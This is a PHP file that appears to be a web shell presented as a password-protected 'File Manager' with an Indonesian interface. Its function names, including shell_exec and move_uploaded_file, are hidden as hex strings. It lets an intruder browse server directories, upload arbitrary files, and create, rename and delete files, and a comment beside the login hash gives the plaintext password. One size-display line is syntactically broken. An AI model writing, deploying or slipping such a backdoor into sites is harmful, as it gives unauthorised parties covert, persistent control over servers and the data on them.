<?php
session_start();
$pw = "$2y$12$b6/VmSjcrJGTZbGV9bVNIewoNmNH9j15cFtKhJpKYanwlQ3mKBFby"; // mqira120
if (isset($_POST['password'])) {
    if (password_verify($_POST['password'], $pw)) {
        $_SESSION['verify'] = true;
    } else {
        $error = "password salah";
    }
}
if (!isset($_SESSION['verify']) || $_SESSION['verify'] !== true) {
?>
<html lang="id">
<head><meta charset="UTF-8"><title>Login</title></head>
<body style="background:#000; margin:0; font-family:sans-serif; display:flex; justify-content:center; align-items:center; height:100vh;">
<form method="post" style="background:#111; padding:30px; border-radius:10px; box-shadow:0 0 20px rgba(255,255,255,0.1); width:220px;">
<h1 style="color:white; text-align:center; margin-top:0; margin-bottom:20px;">Login</h1>
<?php if(isset($error)) echo "<p style='color:#ff4444; text-align:center; margin:0 0 15px 0;'>$error</p>"; ?>
<input type="password" name="password" placeholder="password" required style="width:100%; padding:10px; border:1px solid #333; border-radius:6px; background:#222; color:white; margin-bottom:15px;">
<input type="submit" value="Login" style="width:100%; padding:10px; border:none; border-radius:6px; background:#0f62fe; color:white; font-weight:bold; cursor:pointer;">
</form>
</body>
</html>
<?php
exit;
}
function uhx($y){$n='';for($i=0;$i<strlen($y)-1;$i+=2){$n.=chr(hexdec($y[$i].$y[$i+1]));}return $n;}
function thx($n){$y='';for($i=0;$i<strlen($n);$i++){$y.=dechex(ord($n[$i]));}return $y;}
$a=["676574637764","6d6b646972","726d646972","66696c655f7075745f636f6e74656e7473","6d6f76655f75706c6f616465645f66696c65","63686d6f64","69735f66696c65","69735f646972","69735f7772697461626c65","7368656c6c5f65786563","68746d6c7370656369616c6368617273","746f756368","756e6c696e6b","7265616c70617468","6469726e616d65","66696c655f657869737473","72656e616d65","7363616e646972","66696c657065726d73","626173656e616d65"];
$func=[];foreach($a as $hex){$func[]=uhx($hex);}
$path=isset($_GET['p'])?$func[13](uhx($_GET['p'])):$func[0]();
if(!$path||!$func[7]($path))$path=$func[0]();
$home=$func[13]($func[14](__FILE__));
function brhsl(){echo '<meta http-equiv="refresh" content="0;url=?d='.thx($GLOBALS['func'][0]()).'">';exit;}
function ggl(){echo '<meta http-equiv="refresh" content="0;url=?d='.thx($GLOBALS['func'][0]()).'">';exit;}
if (isset($_FILES['up'])) {if($func[4]($_FILES['up']['tmp_name'],$path.'/'.$func[19]($_FILES['up']['name']))) brhsl(); else ggl();}
if(isset($_GET['del'])){$success=false;$target=$func[13]($path.'/'.$_GET['del']);if(strpos($target,$path)===0&&$func[8]($target)){if($func[6]($target))$success=$func[12]($target);elseif($func[7]($target))$success=$func[2]($target);}if($success) brhsl();else ggl();}
if(isset($_POST['rename_from'],$_POST['rename_to'])){$from=$func[13]($path.'/'.$_POST['rename_from']);$to=$path.'/'.$func[19]($_POST['rename_to']);if(strpos($from,$path)===0&&$func[15]($from)){$success=$func[16]($from,$to);if($success) brhsl();else ggl();}else ggl();}
if(isset($_POST['create_file'])){$filename=$func[19]($_POST['create_file']);$filepath=$path.'/'.$filename;if(!$func[15]($filepath)){$success=$func[3]($filepath,"");if($success!==false)brhsl();else ggl();}else ggl();}
$files=scandir($path);
?>
<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<title>File Manager</title>
<style>
body {
    font-family: 'Courier New', monospace;
    background: #0d0d0d;
    color: #00ff99;
    margin: 0;
    padding: 20px;
}
h1 {
    color: #00ffff;
    text-shadow: 0 0 5px #0ff, 0 0 10px #0ff;
}
table {
    width: 100%;
    border-collapse: collapse;
    background: #111;
    box-shadow: 0 0 10px #0ff;
}
th, td {
    padding: 12px;
    text-align: left;
    border-bottom: 1px solid #222;
}
th {
    background: #222;
    color: #0ff;
    text-shadow: 0 0 3px #0ff;
}
tr:hover {
    background: #222;
}
.green {
    color: #0f0;
    font-weight: bold;
    text-shadow: 0 0 5px #0f0;
}
.red {
    color: #f00;
    font-weight: bold;
    text-shadow: 0 0 5px #f00;
}
form.inline {
    display: inline-block;
    margin-right: 5px;
}
input[type=text], input[type=file] {
    padding: 5px;
    border-radius: 4px;
    border: 1px solid #333;
    background: #111;
    color: #0ff;
}
input[type=submit] {
    padding: 5px 10px;
    border: none;
    border-radius: 4px;
    background: #00f;
    color: #fff;
    font-weight: bold;
    cursor: pointer;
    box-shadow: 0 0 5px #00f, 0 0 10px #00f;
}
input[type=submit]:hover {
    box-shadow: 0 0 10px #0ff, 0 0 20px #0ff;
    background: #0ff;
    color: #000;
}
</style>
</head>
<body>
<h1>File Manager - <?=htmlspecialchars($path)?></h1>
<form method="post" enctype="multipart/form-data">
<input type="file" name="up" required>
<input type="submit" value="Upload">
</form>
<form method="post">
<input type="text" name="create_file" placeholder="Nama file baru" required>
<input type="submit" value="Create File">
</form>
<table>
<tr><th>Nama</th><th>Permission</th><th>Size</th><th>Aksi</th></tr>
<?php
foreach($files as $file){
    if($file=='.'||$file=='..') continue;
    $full=$path.'/'.$file;
    $perm=substr(sprintf('%o',fileperms($full)),-4);
    $perm_color=($perm>='0755')?'green':'red';
    $size=is_file($full)?filesize($full).' B':''-;
    echo '<tr>';
    echo '<td>'.htmlspecialchars($file).'</td>';
    echo '<td class="'.$perm_color.'">'.$perm.'</td>';
    echo '<td>'.$size.'</td>';
    echo '<td>
    <form method="get" class="inline"><input type="hidden" name="del" value="'.htmlspecialchars($file).'"><input type="submit" value="Delete"></form>
    <form method="post" class="inline"><input type="hidden" name="rename_from" value="'.htmlspecialchars($file).'"><input type="text" name="rename_to" placeholder="Rename"><input type="submit" value="Rename"></form>
    </td>';
    echo '</tr>';
}
?>
</table>
</body>
</html>